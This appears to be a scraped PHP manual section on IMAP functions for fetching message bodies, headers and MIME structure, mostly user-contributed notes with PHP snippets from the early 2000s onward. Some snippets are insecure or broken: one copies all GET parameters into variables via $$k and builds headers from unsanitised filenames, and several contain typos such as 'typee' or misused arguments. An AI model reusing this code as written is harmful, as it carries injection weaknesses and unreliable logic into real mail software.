This is the way I did my email reader program and it works perfectly. I started off by using the methods recommended in a lot of webpages (i.e. going through the parts tree like 1.2.1, 1, 2, etc) but the problem is the message body is never in some fixed part! Sometimes its in 1, somtimes 1.1.2, sometimes 2, and sometimes in some totally unexpected place! So my approach was to "search" for the parts that I'm interested. Hope this helps. I also managed to crack the problem with emails containing embedded images. I will probably write a tutorial on that soon.
se at designlinks dot net 03-Mar-2005 03:36
If you insist on using imap_fetchbody() to retrieve a mail body that doesn't contain 'parts' [normally you'd use imap_body() ], then note that the header text is in part '0' and the body text in part '1'.
So, imap_fetchbody($mbox,$msg,'0') will return the header and imap_fetchbody($mbox,$msg,'1') will return the body text.
guru at php dot net 04-Oct-2004 08:50
After many battles with the imap extension I took it upon myself to write my own implementation using sockets. Below is what I came up with, and hopefully it will be usefull to others as well. I know that there are some parts of this that can be tweaked, however I will leave that for you to do. Use/abuse/mutilate this as you wish (no license).

(Note: I am not placing the source here since it is well over 1900 lines ~48KB)

http://www.nutextonline.com/cimap.phps

If enough people find this usefull I will continue to improve it and eventually commit it (or have it committed) to pear.

Also worth noting is the fact that you can use the imap extensions on mbox format mailboxes. A combination of this class with the imap extension would certainly make a great combination of done correctly.
Adam 27-Sep-2004 11:12
It took me a while to figure out how part id's(numbers) are assigned to different parts of a message.  After getting a few AOL e-mails that had a semi-complex structure I was finally able to break it down.

0 multipart/mixed
    1 multipart/alternative
        1.1 text/plain
        1.2 text/html
    2 message/rfc822
        2 multipart/mixed
            2.1 multipart/alternative
                2.1.1 text/plain
                2.1.2 text/html
            2.2 message/rfc822
                2.2 multipart/alternative
                    2.2.1 text/plain
                    2.2.2 text/html

Hopefully this will help others get the different body parts of a message.
sales at nocwizard dot com 05-Sep-2004 05:59
I'm adding this for those of you like me who are scouring the web looking for code to break down a message.  These two functions will break down a multi-part and non multi-part message and return the contents of the message in the array $message.  It doesn't do attachments.  This assumes you've already opened the mailbox and pass it VIA the $mbox.

function retrieve_message($mbox, $messageid)
{
   $message = array();

   $header = imap_header($mbox, $messageid);
   $structure = imap_fetchstructure($mbox, $messageid);

   $message['subject'] = $header->subject;
   $message['fromaddress'] =   $header->fromaddress;
   $message['toaddress'] =   $header->toaddress;
   $message['ccaddress'] =   $header->ccaddress;
   $message['date'] =   $header->date;

  if (check_type($structure))
  {
   $message['body'] = imap_fetchbody($mbox,$messageid,"1"); ## GET THE BODY OF MULTI-PART MESSAGE
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }
  else
  {
   $message['body'] = imap_body($mbox, $messageid);
   if(!$message['body']) {$message['body'] = '[NO TEXT ENTERED INTO THE MESSAGE]\n\n';}
  }

  return $message;
}

function check_type($structure) ## CHECK THE TYPE
{
  if($structure->type == 1)
    {
     return(true); ## YES THIS IS A MULTI-PART MESSAGE
    }
 else
    {
     return(false); ## NO THIS IS NOT A MULTI-PART MESSAGE
    }
}
noose (at) nospam (dot) tweak (dot) pl 20-Jun-2004 04:04
Sorry for my english....

for read the attachment's:

<?
 foreach ($_GET as $k => $v)
 {
     $$k = $v;
 }
 $login = 'mylogin';
 $password = 'mypassword';
 $host = '{myhost:110/pop3}';

$mbox = imap_open("$host", "$login", "$password");
$struckture = imap_fetchstructure($mbox, $id);
$message = imap_fetchbody($mbox,$id,$part);
$name = $struckture->parts[$part]->dparameters[0]->value;
$type = $struckture->parts[$part]->typee;
############## type
if ($type == 0)
{
    $type = "text/";
}
elseif ($type == 1)
{
    $type = "multipart/";
}
elseif ($type == 2)
{
    $type = "message/";
}
elseif ($type == 3)
{
    $type = "application/";
}
elseif ($type == 4)
{
    $type = "audio/";
}
elseif ($type == 5)
{
    $type = "image/";
}
elseif ($type == 6)
{
    $type = "video";
}
elseif($type == 7)
{
    $type = "other/";
}
$type .= $struckture->parts[$part]->subtypee;
######## Type end

header("Content-typee: ".$type);
header("Content-Disposition: attachment; filename=".$name);

######## coding
$coding = $struckture->parts[$part]->encoding;
if ($coding == 0)
{
    $message = imap_7bit($message);
}
elseif ($coding == 1)
{
    $wiadomsoc = imap_8bit($message);
}
elseif ($coding == 2)
{
    $message = imap_binary($message);
}
elseif ($coding == 3)
{
    $message = imap_base64($message);
}
elseif ($coding == 4)
{
    $message = quoted_printable($message);
}
elseif ($coding == 5)
{
    $message = $message;
}
echo $message;
########## coding end
 imap_close($mbox);
?>
jsimlo yahoo com 24-May-2004 01:38
this may be the way, how to obtain all those part_numbers.... even when a message contains another message attached, and it contains another message attached...

<?
 $parttypes = array ("text", "multipart", "message", "application", "audio", "image", "video", "other");
 function buildparts ($struct, $pno = "") {
   global $parttypes;
   switch ($struct->type):
     case 1:
       $r = array (); $i = 1;
       foreach ($struct->parts as $part)
         $r[] = buildparts ($part, $pno.".".$i++);

       return implode (", ", $r);
     case 2:
       return "{".buildparts ($struct->parts[0], $pno)."}";
     default:
       return '<a href="?p='.substr ($pno, 1).'">'.$parttypes[$struct->type]."/".strtolower ($struct->subtype)."</a>";
   endswitch;
 }

  $struct = imap_fetchstructure ($pop3mbox, $msguid, FT_UID);
  echo buildparts ($struct);
?>

it will print something like:

<a href="?p=1">text/plain</a>, {<a href="?p=2.1">text/plain</a>, <a href="?p=2.2">text/html</a>}
Sito 24-May-2004 04:54
Better, a fix on a fix... ;)

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

   foreach($struct as $key => $value){

    if($subkey!=0){
    $pid = $subkey.".".($key+1); }
    else { $pid = ($key+1); }

    $ret_info[]['pid'] = $pid;
    $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
    $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

    next($ret_info);

    if(($value->parts)!= null) {scan($value->parts,$pid); }
   }
 }

if(!is_null($struct->parts))
{
 scan($struct->parts,0);
}
else
{
    print_r($struct);
    echo("<hr>");
    $ret_info[]['pid']=1;
    $ret_info[key($ret_info)]['type']=$mime["$struct->type"];
    $ret_info[key($ret_info)]['encoding']=$enc["$struct->encoding"];
}

return $ret_info;

}
php at NOSPAM dot sibyla dot cz 04-Apr-2004 03:56
// $uid - msg number

function read_all_parts($uid){
 global $mime,$ret_info,$enc;
  $mime = array("text","multipart","message","application","audio",
"image","video","other","unknow");
  $enc  = array("7BIT","8BIT","BINARY","BASE64",
"QUOTED-PRINTABLE","OTHER");

 $struct = imap_fetchstructure( $this -> Link, $uid );

 $ret_info = array();

function scan($struct,$subkey){
 global $mime,$enc,$ret_info;

 foreach($struct as $key => $value){

  if($subkey!=0){
  $pid = $subkey.".".($key+1); }
  else { $pid = ($key+1); }

  $ret_info[]['pid'] = $pid;
  $ret_info[key($ret_info)]['type'] = $mime["$value->type"];
  $ret_info[key($ret_info)]['encoding'] = $enc["$value->encoding"];

  next($ret_info);

  if(($value->parts)!= null) {scan($value->parts,$pid); }
 }

 }

scan($struct->parts,0);

return $ret_info;

}
asfd at aasdfa dot com 30-Aug-2003 02:48
PLEASE DOCUMENT THIS POST AND SAVE US SOME TIME! :)
ac at artcenter dot ac
17-Feb-2002 04:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
ulrich at kaldamar dot de 30-Apr-2003 04:54
The function imap_fetchbody() seems uncapable of getting subordinate parts of a message/rfc822-part. I had problems with getting an attachment that was forwarded in such a part, because the object given by imap_fetchstructure() would assume that the part was represented by the string "2.1.2.1.2".

So I wrote this set of functions which parses the raw message-body and creates an array with the struture corresponding to the structure given by imap_fetchstructure(). The function mail_fetchpart() (see below) will work on the array and return even those parts that I could not get with imap_fetchbody().

Example usage of this function: mail_fetchpart($mbox, 2, "2.1.2.1.2");

Note: If the message does not contain multiple pars, the body of the message can be accessed by the part-string "1".
I have more functions for parsing and decoding messages, just email me.

    // get the body of a part of a message according to the
    // string in $part
    function mail_fetchpart($mbox, $msgNo, $part) {
        $parts = mail_fetchparts($mbox, $msgNo);

        $partNos = explode(".", $part);

        $currentPart = $parts;
        while(list ($key, $val) = each($partNos)) {
            $currentPart = $currentPart[$val];
        }

        if ($currentPart != "") return $currentPart;
          else return false;
    }

    // splits a message given in the body if it is
    // a mulitpart mime message and returns the parts,
    // if no parts are found, returns false
    function mail_mimesplit($header, $body) {
        $parts = array();

        $PN_EREG_BOUNDARY = "Content-Type:(.*)boundary=\"([^\"]+)\"";

        if (eregi ($PN_EREG_BOUNDARY, $header, $regs)) {
            $boundary = $regs[2];

            $delimiterReg = "([^\r\n]*)$boundary([^\r\n]*)";
            if (eregi ($delimiterReg, $body, $results)) {
                $delimiter = $results[0];
                $parts = explode($delimiter, $body);
                $parts = array_slice ($parts, 1, -1);
            }

            return $parts;
        } else {
            return false;
        }

    }

    // returns an array with all parts that are
    // subparts of the given part
    // if no subparts are found, return the body of
    // the current part
    function mail_mimesub($part) {
        $i = 1;
        $headDelimiter = "\r\n\r\n";
        $delLength = strlen($headDelimiter);

        // get head & body of the current part
        $endOfHead = strpos( $part, $headDelimiter);
        $head = substr($part, 0, $endOfHead);
        $body = substr($part, $endOfHead + $delLength, strlen($part));

        // check whether it is a message according to rfc822
        if (stristr($head, "Content-Type: message/rfc822")) {
            $part = substr($part, $endOfHead + $delLength, strlen($part));
            $returnParts[1] = mail_mimesub($part);
            return $returnParts;
        // if no message, get subparts and call function recursively
        } elseif ($subParts = mail_mimesplit($head, $body)) {
            // got more subparts
            while (list ($key, $val) = each($subParts)) {
                $returnParts[$i] = mail_mimesub($val);
                $i++;
            }
            return $returnParts;
        } else {
            return $body;
        }
    }

    // get an array with the bodies all parts of an email
    // the structure of the array corresponds to the
    // structure that is available with imap_fetchstructure
    function mail_fetchparts($mbox, $msgNo) {
        $parts = array();
        $header = imap_fetchheader($mbox,$msgNo);
        $body = imap_body($mbox,$msgNo, FT_INTERNAL);

        $i = 1;

        if ($newParts = mail_mimesplit($header, $body)) {
            while (list ($key, $val) = each($newParts)) {
                $parts[$i] = mail_mimesub($val);
                $i++;
            }
        } else {
            $parts[$i] = $body;
        }
        return $parts;

    }
bubblocity at yahoo dot com 24-Mar-2003 08:18
This is a well overdue addendum to the code submitted on
14-Jan-2002 02:58.  This function was called inside the GetParts function:

function concat_ws($separator, $str1, $str2){
    if(strlen($str1) && strlen($str2)){
        return $str1 . $separator . $str2;
    }
    else if (strlen($str1)){
        return $str1;
    }
    else if (strlen($str2)){
        return $str2;
    }
    else return '';

}
markusNOSPAM at broede dot NO_SPAM dot de 12-Aug-2002 08:54
Maybe you prefer a short and recursive way to parse a message
and get the part numbers built:
-------------------------------------------------------------

function parse_message($obj, $prefix="") {
/* Here you can process the data of the main "part" of the message, e.g.: */
  do_anything_with_message_struct($obj);

  if (sizeof($obj->parts) > 0)
    foreach ($obj->parts as $count=>$p)
      parse_part($p, $prefix.($count+1));
}

function parse_part($obj, $partno) {
/* Here you can process the part number and the data of the parts of the message, e.g.: */
  do_anything_with_part_struct($obj,$partno);

  if ($obj->type == TYPEMESSAGE)
    parse_message($obj->parts[0], $partno.".");
  else
    if (sizeof($obj->parts) > 0)
      foreach ($obj->parts as $count=>$p)
        parse_part($p, $partno.".".($count+1));
}

/* Let's say, you have an already opened mailbox stream $mbox
   and you like to parse through the first message: */

$msgno = 1;
parse_message(imap_fetchstructure($mbox,$msgno));
sarachaga at yahoo dot com 04-Mar-2002 11:23
For those guys trying to extract a message/rfc822 parts correctly here is a hint:

As you may note, if you recurse over the structure object returned by imap_fetchstructure, when you reach the message/rfc822 you find that the message itself counts as a part too, so an attachment in that message should be 2.1.2 (the .1. is the whole rfc822 msg), but if you use that part number in imap_fetchbody you get nothing.

What i did is: my recursing function checks if the part/subtype of a particular part is message/rfc822, and only in that case i do not concatenate the .1 to the part number, because as far as i know, this only happens with this kind of message. And for all the other parts (non rfc822) it concats the dot-partnumber.
ac at artcenter dot ac 17-Feb-2002 05:24
Lets say your email has this structure:
1 multipart
    plain
    html
2 x-vcard
and... you can't seem to figure out how to get either plain or HTML part of the multipart message? have you been going through all the trouble looking for a PHP mime parser? well here is a simple solution which SHOULD BE documented in this manual. From example above, if you want to get the plain part of the "multipart" message do this:
$text=imap_fetchbody($mbox,$msg_num,"1.1");
all you do is instead of part number 1, put 1.1 or to get the HTML part put 1.2

EASY!
bubblocity at yahoo dot com 14-Jan-2002 01:58
If you are trying to fetch the body part and don't know what to fetch,
here is a function that will return all the body parts as a single string with each part separated by '|' character.
Followed by a fuction which will retrieve the structure of that part.

You can then parse the return string by explode() and call imap_fetchbody() on each of the parts.

Chunks of this code was stolen from the following site:
http://www.bitsense.net/PHPNotes/IMAP/imap_fetchstructure.asp

<pre>
#Function Gets all the subparts , but does not get part: ''
function GetParts($this_part, $part_no) {

        //If it is type message(2)=msg envelope,
    //Not sure about this assumption : the if statement
    //double check with RFC822 on this one.

    if($this_part->type==2){
        //and there is only 1 subpart of the envelope
        //and that subpart is multipart
        //otherwise will generate excessive '.1' and
        //send wrong part_no to imap_fetchbody
                if($this_part->parts[0]->type==1){
                $this_part=$this_part->parts[0];
                }
        }

        if (count($this_part->parts)>0) {
                for ($i = 0; $i < count($this_part->parts); $i++) {
                        if ($part_no != "") {
                $newpartno = $part_no . '.' . ($i +1);
            }
                        else $newpartno = $i+1;

            $partstringary[$i] =
                GetParts($this_part->parts[$i], $newpartno);
                }//for
                $partstring = implode('|', $partstringary);

        }//if
        $partstring = concat_ws('|', $part_no , $partstring);
        //echo $partstring ;
        return $partstring;
}

#########################################
#Companion function go to GetParts();
#Given the partno - returns the structure
#########################################
function GetSubPartStructure($mbox, $msgno, $partno){

        $msg_struct = imap_fetchstructure($mbox, $msgno);
        $partsary = explode ('.', $partno);
        $subpartstruct = $msg_struct;

        for ($i=0; $i< count($partsary); $i++){
        //Not sure about this, if assumption
        // you should probably double check with RFC822 on this one.
                if($subpartstruct->type==2){
                        if($subpartstruct->parts[0]->type==1){
                          $subpartstruct=$subpartstruct->parts[0];
                        }
                }
                $subpartstruct = $subpartstruct->parts[$partsary[$i]-1];
        }
        return $subpartstruct;
}

function decodemsg($msgstring, $encoding){
        //Write your own function to decode,
    //or lots of examples within PHP already.
    return $decodemsg;
}

#Usage:
$msg_struct = imap_fetchstructure($mbox, $msgno);
$msgparts= GetParts($msg_struct, $part_no);
$partsary = explode($msgparts, '|');
for($i=0; $i<count($parsary);$i++){
    $substruct = GetSubPartStructure($mbox, $msgno, $partsary[$i]);
    if($substruct->type==''){
        //then this is type TEXT
        $msg = imap_fetchbody($mbox, $msgno, $msgpartsary[$i]);
        //Do the decoding
        $msg = decodemsg($msg, $struct->encoding);
        echo $msg; //or do whatever you want with it.
    }
    else{ //Not TEXT
        //Do whatever you want
        //i.e. write the attachment...etc
    }
}

</pre>
pmzandbergen at yahoo dot com 10-Jul-2001 07:56
Nice function above. However, there are some webmail (normaly plain text) services like you which don't use structure type 'ATTACHMENT' with the attachments, but 'INLINE' (also plain text is called like this). Just replace
if (strtoupper ($structure->disposition) == "ATTACHMENT"){
with

            if (strtoupper ($structure->disposition) == "ATTACHMENT" || strtoupper ($structure->disposition) == "INLINE" && strtoupper ($structure->subtype) != "PLAIN") {

But remember, when uou send a message with plaintext & attachment, also the plaintext is an attachment
rfinnie at kefta dot com 14-Dec-2000 02:23
With regard to message/rfc822 parts, it appears that the IMAP c-client that PHP uses does not follow the IMAP RFC (#2060) correctly.  The RFC specifies that to grab the headers for a message/rfc822 part, you would request part "2.HEADER" (assuming 2 is your part number), and the full text of the part would be "2.TEXT".  Instead, "2.0" will grab the headers, and just "2" will get the text.
cleong at organic dot com 04-Apr-2000 09:19
Here's a routine that yields the part of a message with a particular MIME type:

<?php
function get_mime_type(&$structure) {
    $primary_mime_type = array("TEXT", "MULTIPART", "MESSAGE", "APPLICATION", "AUDIO", "IMAGE", "VIDEO", "OTHER");
    if($structure->subtype) {
         return $primary_mime_type[(int) $structure->type] . '/' . $structure->subtype;
     }
     return "TEXT/PLAIN";
}

function get_part($stream, $msg_number, $mime_type, $structure = false, $part_number = false) {
    if (!$structure) {
         $structure = imap_fetchstructure($stream, $msg_number);
     }
    if($structure) {
         if($mime_type == get_mime_type($structure)) {
              if(!$part_number) {
                   $part_number = "1";
               }
              $text = imap_fetchbody($stream, $msg_number, $part_number);
              if($structure->encoding == 3) {
                   return imap_base64($text);
               } else if ($structure->encoding == 4) {
                   return imap_qprint($text);
               } else {
                   return $text;
            }
        }
         if ($structure->type == 1) { /* multipart */
              while (list($index, $sub_structure) = each($structure->parts)) {
                if ($part_number) {
                    $prefix = $part_number . '.';
                }
                $data = get_part($stream, $msg_number, $mime_type, $sub_structure, $prefix . ($index + 1));
                if ($data) {
                    return $data;
                }
            }
        }
    }
    return false;
}

// get plain text
$data = get_part($stream, $msg_number, "TEXT/PLAIN");
// get HTML text
$data = get_part($stream, $msg_number, "TEXT/HTML");
?>

Right now only the first part with the matching MIME type is returned. A more useful version would create an array and return all matching parts (for GIFs, for instance).


Returns header for a message

  • ? imap_fetchbody
  • imap_fetchmime ?
  • PHP Manual
  • IMAP 函数
  • Returns header for a message

imap_fetchheader

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchheader — Returns header for a message

说明

imap_fetchheader(IMAP\Connection $imap, int $message_num, int $flags = 0): string|false

This function causes a fetch of the complete, unfiltered » RFC2822 format header of the specified message.

参数

imap

IMAP\Connection 实例。

message_num

The message number

flags

The possible flags are:

  • FT_UID - The message_num argument is a UID
  • FT_INTERNAL - The return string is in "internal" format, without any attempt to canonicalize to CRLF newlines
  • FT_PREFETCHTEXT - The RFC822.TEXT should be pre-fetched at the same time. This avoids an extra RTT on an IMAP connection if a full message text is desired (e.g. in a "save to local file" operation)

返回值

Returns the header of the specified message as a text string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_fetch_overview() - Read an overview of the information in the headers of the given message

User Contributed Notes

george dot who at gmail dot com 15-Jun-2015 02:03
Here is a simple function to get an array with all headers.

<?php
function mail_header_parse($mbox,$msg){
    $header=imap_fetchheader($mbox,$msg);
    preg_match_all("/^([^\r\n:]+)\s*[:]\s*([^\r\n:]+(?:[\r]?[\n][ \t][^\r\n]+)*)/m",$header,$matches,PREG_SET_ORDER);
    foreach($matches as $match){
        $match[2]=iconv_mime_decode($match[2],ICONV_MIME_DECODE_CONTINUE_ON_ERROR,'utf-8');
        if(is_array($headers[$match[1]])){
            $headers[$match[1]][]=$match[2];
        }elseif(isset($headers[$match[1]])){
            $headers[$match[1]]=array($headers[$match[1]],$match[2]);
        }else{
            $headers[$match[1]]=$match[2];
        }
    }
    return $headers;
}
?>
rgagnon24 dot nospam at gmail dot com 24-Jun-2010 09:52
Interesting that imap_headerinfo() does not allow a UID for the $msg_number field like all other fetching functions seem to allow.

If you want to use a UID to fetch the headers, use this two-step process:

<?php
/*
 * assumes $mbox is your stream, and $uid is set
 * properly. Proper error checking is up to you.
 */
$hText = imap_fetchbody($mbox, $uid, '0', FT_UID);
$headers = imap_rfc822_parse_headers($hText);
?>

The result is the same as the output of imap_headerinfo(), but you get to use the UID.
Jille at nomorecrap dot quis dot cx 06-Apr-2008 03:15
<?PHP
$headers=imap_fetchheader($imap, $msgid);
preg_match_all('/([^: ]+): (.+?(?:\r\n\s(?:.+?))*)\r\n/m', $headers, $matches);
?>

Works quite well for splitting headers,
$matches will contain 3 arrays:
$matches[0] are the full-lines (To: Jille@devnull.quis.cx\r\n)
$matches[1] will be the header (To)
$matches[2] will be the value (Jille@devnull.quis.cx)

In multi-line values the 'multilining is not stripped!'
this could be achieved with something like:
<?PHP
preg_replace('/\r\n\s+/m', '', $matches[2]);
?>
onofabio at gmail dot com 07-Mar-2008 03:18
This function ignore that some header value have multiple lines...

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>

I write this simple function....

$mbox = imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");
$mid=1 // Message id

// Get headers
$header = imap_fetchheader($mbox, $mid);

// Split on \n
$h_array=split("\n",$header);

foreach ( $h_array as $h ) {

    // Check if row start with a char
    if ( preg_match("/^[A-Z]/i", $h )) {

        $tmp = split(":",$h);
    $header_name = $tmp[0];
    $header_value = $tmp[1];

    $headers[$header_name] = $header_value;

    } else {
        // Append row to previous field
    $headers[$header_name] = $header_value . $h;
    }

}
Max Geiger 08-Mar-2007 03:59
If you call the function with the bitmask-parameter FT_PREFETCHTEXT the /Seen flag of the message will be set.
dj_doktor at upskirt dot cz 03-Apr-2005 07:17
I spend lot of time find out how I can detect messages with
different priorities. When I read users notes I remember
function imap_fetchheader which show header of message
and additional headers too. Because I'm so lazy to work with
regular expressions I required my frend for writing code
- thanx Znouza.
And there is... :)

<?php
    // connecting to imap mailserver
    $connection = @imap_open("{localhost:143/imap}INBOX", "your_username", "your_password");

    // get imap_fetch header and put single lines into array
    $header = explode("\n", imap_fetchheader($connection, 1));

    // browse array for additional headers
    if (is_array($header) && count($header)) {
        $head = array();
        foreach($header as $line) {
            // is line with additional header?
            if (eregi("^X-", $line)) {
                // separate name and value
                eregi("^([^:]*): (.*)", $line, $arg);
                $head[$arg[1]] = $arg[2];
            }
        }
    }

    // now are all contained additional headers in array $head
?>


Fetch MIME headers for a particular section of the message

  • ? imap_fetchheader
  • imap_fetchstructure ?
  • PHP Manual
  • IMAP 函数
  • Fetch MIME headers for a particular section of the message

imap_fetchmime

(PHP 5 >= 5.3.6, PHP 7, PHP 8)

imap_fetchmime — Fetch MIME headers for a particular section of the message

说明

imap_fetchmime(
IMAP\Connection $imap,
int $message_num,
string $section,
int $flags = 0
): string|false

Fetch the MIME headers of a particular section of the body of the specified messages.

参数

imap

IMAP\Connection 实例。

message_num

The message number

section

The part number. It is a string of integers delimited by period which index into a body part list as per the IMAP4 specification

flags

A bitmask with one or more of the following:

  • FT_UID - The message_num is a UID
  • FT_PEEK - Do not set the \Seen flag if not already set
  • FT_INTERNAL - The return string is in internal format, will not canonicalize to CRLF.

返回值

Returns the MIME headers of a particular section of the body of the specified messages as a text string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_fetchstructure() - Read the structure of a particular message
  • imap_fetchheader() - Returns header for a message

User Contributed Notes

There are no user contributed notes for this page.


Read the structure of a particular message

  • ? imap_fetchmime
  • imap_fetchtext ?
  • PHP Manual
  • IMAP 函数
  • Read the structure of a particular message

imap_fetchstructure

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetchstructure — Read the structure of a particular message

说明

imap_fetchstructure(IMAP\Connection $imap, int $message_num, int $flags = 0): stdClass|false

Fetches all the structured information for a given message.

参数

imap

IMAP\Connection 实例。

message_num

The message number

flags

This optional parameter only has a single option, FT_UID, which tells the function to treat the message_num argument as a UID.

返回值

Returns an object with properties listed in the table below, 或者在失败时返回 false.

Returned Object for imap_fetchstructure()
type | Primary body type
encoding | Body transfer encoding
ifsubtype | true if there is a subtype string
subtype | MIME subtype
ifdescription | true if there is a description string
description | Content description string
ifid | true if there is an identification string
id | Identification string
lines | Number of lines
bytes | Number of bytes
ifdisposition | true if there is a disposition string
disposition | Disposition string
ifdparameters | true if the dparameters array exists
dparameters | An array of objects where each object has an "attribute" and a "value" property corresponding to the parameters on the Content-disposition MIME header.
ifparameters | true if the parameters array exists
parameters | An array of objects where each object has an "attribute" and a "value" property.
parts | An array of objects identical in structure to the top-level object, each of which corresponds to a MIME body part.

Primary body type (value may vary with used library, use of constants is recommended)
Value | Type | Constant
0 | text | TYPETEXT
1 | multipart | TYPEMULTIPART
2 | message | TYPEMESSAGE
3 | application | TYPEAPPLICATION
4 | audio | TYPEAUDIO
5 | image | TYPEIMAGE
6 | video | TYPEVIDEO
7 | model | TYPEMODEL
8 | other | TYPEOTHER

Transfer encodings (value may vary with used library, use of constants is recommended)
Value | Type | Constant
0 | 7bit | ENC7BIT
1 | 8bit | ENC8BIT
2 | Binary | ENCBINARY
3 | Base64 | ENCBASE64
4 | Quoted-Printable | ENCQUOTEDPRINTABLE
5 | other | ENCOTHER

更新日志

版本 | 说明
8.1.0 | 现在 imap 参数接受 IMAP\Connection 实例，之前接受有效的 imap resource。

参见

  • imap_fetchbody() - Fetch a particular section of the body of the message
  • imap_bodystruct() - Read the structure of a specified body section of a specific message

User Contributed Notes

hello at ivanbogomolov dot ru 08-Apr-2019 11:33
If you logic based on compare structure strings, you must compare it case insensetive.
<?php

$p = imap_fetchstructure($this->_imap_resource, $mid);
//do not compare $p->disposition == 'INLINE'
if(preg_match('/inline/i', $p->disposition))
{
 //this works
}
?>
alchrystal88 at web dot de 24-Jan-2019 11:44
If you have errors with wrong attachment names like this:

correct name:
String -> Prüfbericht Hersteller.pdf

fetchstructure object name:
 =?ISO-8859-1?Q?Pr=FCfbericht_Hersteller=2Epdf?=

Workaround to reconvert:

imap_mime_header_decode($fetchstructure->dparameters->value)[0]->text

imap_mime_header_decode($filename)[0]->text
Anonymous 20-Jun-2013 10:52
I improved the code from this post (
http://www.php.net/manual/en/function.imap-fetchstructure.php#51497) a bit, now it handles multi embedded email correctly, and gives you a content with not marking character, like the '=' (soft line break).

<?php
//return is structured as
// $mail = array ( 'body' => ...
//          'attachment' => array() );
function _get_body_attach($mbox, $mid) {
    $struct = imap_fetchstructure($mbox, $mid);

    $parts = $struct->parts;
    $i = 0;
    if (!$parts) { /* Simple message, only 1 piece */
        $attachment = array(); /* No attachments */
        $content = imap_body($mbox, $mid);
    } else { /* Complicated message, multiple parts */

        $endwhile = false;

        $stack = array(); /* Stack while parsing message */
        $content = "";    /* Content of message */
        $attachment = array(); /* Attachments */

        while (!$endwhile) {
            if (!$parts[$i]) {
                if (count($stack) > 0) {
                    $parts = $stack[count($stack)-1]["p"];
                    $i     = $stack[count($stack)-1]["i"] + 1;
                    array_pop($stack);
                } else {
                    $endwhile = true;
                }
            }

            if (!$endwhile) {
                /* Create message part first (example '1.2.3') */
                $partstring = "";
                foreach ($stack as $s) {
                    $partstring .= ($s["i"]+1) . ".";
                }
                $partstring .= ($i+1);

                if (strtoupper($parts[$i]->disposition) == "ATTACHMENT" || strtoupper($parts[$i]->disposition) == "INLINE") { /* Attachment or inline images */
                    $filedata = imap_fetchbody($mbox, $mid, $partstring);
                    if ( $filedata != '' ) {
                        // handles base64 encoding or plain text
                        $decoded_data = base64_decode($filedata);
                        if ( $decoded_data == false ) {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $filedata);
                        } else {
                            $attachment[] = array("filename" => $parts[$i]->parameters[0]->value,
                                "filedata" => $decoded_data);
                        }
                    }
                } elseif (strtoupper($parts[$i]->subtype) == "PLAIN" && strtoupper($parts[$i+1]->subtype) != "HTML") { /* plain text message */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                } elseif ( strtoupper($parts[$i]->subtype) == "HTML" ) {
                    /* HTML message takes priority */
                    $content .= imap_fetchbody($mbox, $mid, $partstring);
                }
            }

            if ($parts[$i]->parts) {
                if ( $parts[$i]->subtype != 'RELATED' ) {
                    // a glitch: embedded email message have one additional stack in the structure with subtype 'RELATED', but this stack is not present when using imap_fetchbody() to fetch parts.
                    $stack[] = array("p" => $parts, "i" => $i);
                }
                $parts = $parts[$i]->parts;
                $i = 0;
            } else {
                $i++;
            }
        } /* while */
    } /* complicated message */

    $ret = array();
    $ret['body'] = quoted_printable_decode($content);
    $ret['attachment'] = $attachment;
    return $ret;
}
?>
raulggonzalez at gmail dot com 21-Sep-2010 05:54
Hello eveybody,

After reading plenty of posts (some good, some others not so good) I want to post a function to find out whether an email is coming with attachments

The function can be called passing the object returned by imap_fetchstructure() or any of its parts (recursively)

<?php
$inbox = imap_open($hostname,$username,$password) or die('Cannot connect to mail: ' . imap_last_error());
$struct = imap_fetchstructure($inbox,$uid,FT_UID);
$existAttachments = existAttachment($struct);

function existAttachment($part){
    if (isset($part->parts)){
        foreach ($part->parts as $partOfPart){
            existAttachment($partOfPart);
        }
    }
    else{
        if (isset($part->disposition)){
            if ($part->disposition == 'attachment'){
                echo '<p>' . $part->dparameters[0]->value . '</p>';
// here you can create a link to the file whose name is  $part->dparameters[0]->value to download it
                return true;
            }
        }
    }
}
?>

Hopefully somebody can use it as well
burninleo at gmx dot net 03-Aug-2010 09:42
Use imap_errors() to get rid of sticky error messages about incorrect MIME headers.
Rui Torre rui_sharkye at hotmail dot com 02-Nov-2008 02:34
I've made this two functions to decode mime headers and so far they are working just fine decoding all headers. Please let me know if you find any error. Hope they are useful for you too.

<?php

function decode_headers($cabecalho){
